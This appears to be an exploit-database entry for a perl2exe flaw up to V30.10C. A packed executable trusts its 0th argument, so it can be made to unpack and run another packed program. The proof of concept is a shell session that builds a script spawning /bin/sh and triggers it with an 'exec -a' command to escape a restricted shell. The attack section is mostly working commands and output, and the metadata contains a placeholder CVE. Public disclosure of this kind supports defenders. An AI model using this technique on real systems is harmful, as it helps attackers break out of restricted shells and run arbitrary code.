Arbitrary Code Execution in Executables Created with perl2exe

vendor:

perl2exe

by:

decrazyo

6.1

CVSS

HIGH

Arbitrary Code Execution

CWE

Product Name: perl2exe

Affected Version From: Up to V30.10C

Affected Version To: V30.10C

Patch Exists: NO

Related CWE: CVE-2023-XXXX (non-existent)

CPE: a:indigostar:perl2exe:30.10c

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 22.04

2023

Arbitrary Code Execution in Executables Created with perl2exe <= V30.10C

The perl2exe tool, up to version V30.10C, allows attackers to execute arbitrary code by manipulating the 0th argument of executables created with perl2exe. By crafting the argument, malicious actors can make the executable run another compiled executable, potentially leading to code execution and escaping restricted shell environments.

Mitigation:

To mitigate this vulnerability, users should avoid running executables from untrusted sources. It is recommended to regularly update the perl2exe tool to the latest version to patch any known security issues.

Source

Exploit-DB raw data:

# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution
# Date: 10/17/2023
# Exploit Author: decrazyo
# Vendor Homepage: https://www.indigostar.com/
# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz
# Version: <= V30.10C
# Tested on: Ubuntu 22.04

# Description:
perl2exe packs perl scripts into native executables.
Those executables use their 0th argument to locate a file to unpack and execute.
Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.
That can be useful for breaking out of restricted shell environments.

# Proof and Concept:
user@testing:~/example$ ls
p2x-30.10-Linux-x64-5.30.1.tar.gz  perl2exe-Linux-x64-5.30.1
user@testing:~/example$ 
user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.
user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating safe
user@testing:~/example$ 
user@testing:~/example$ # Check that the program executes as expected.
user@testing:~/example$ ./safe
I am completely safe
user@testing:~/example$ 
user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.
user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating malicious
user@testing:~/example$ 
user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.
user@testing:~/example$ chmod -x malicious
user@testing:~/example$ ./malicious
-bash: ./malicious: Permission denied
user@testing:~/example$ 
user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.
user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.
user@testing:~/example$ bash -c 'exec -a malicious ./safe'
j/k I am malicious AF
$ pstree -s $$
systemd───sshd───sshd───sshd───bash───safe───sh───pstree
$